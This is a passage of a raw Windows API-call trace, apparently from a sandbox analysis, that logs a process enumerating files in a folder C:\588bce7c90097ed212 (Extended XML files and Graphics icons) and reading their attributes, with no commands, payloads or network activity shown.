	[0075.177] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0075.177] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0075.177] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0075.177] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0075.177] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.177] VirtualAlloc (lpAddress=0xc0003ee000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ee000
	[0075.178] VirtualAlloc (lpAddress=0xc0003f0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f0000
	[0075.178] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82)) returned 1
	[0075.178] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.178] VirtualAlloc (lpAddress=0xc0003f2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f2000
	[0075.178] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a)) returned 1
	[0075.178] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.178] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics" (normalized: "c:\\588bce7c90097ed212\\graphics"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0075.179] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics" (normalized: "c:\\588bce7c90097ed212\\graphics"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0075.179] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
	[0075.301] VirtualAlloc (lpAddress=0xc000480000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000480000
	[0075.301] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.301] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1
	[0075.301] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1
	[0075.302] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1
	[0075.302] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1
	[0075.302] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1
	[0075.302] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1
	[0075.302] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1
	[0075.302] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1
	[0075.302] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1
	[0075.302] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1
	[0075.302] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1
	[0075.302] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1
	[0075.302] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1
	[0075.302] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1
	[0075.302] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1
	[0075.302] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0075.302] VirtualAlloc (lpAddress=0xc000484000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000484000
	[0075.303] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0075.304] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.304] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1
	[0075.350] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.350] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0075.350] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.350] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0075.350] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.351] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0075.351] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.351] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0075.429] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.430] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0075.430] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.431] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0075.431] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.431] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0075.431] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.431] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0075.432] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.432] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1
	[0075.432] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.432] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66)) returned 1
	[0075.432] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.432] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1
	[0075.432] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
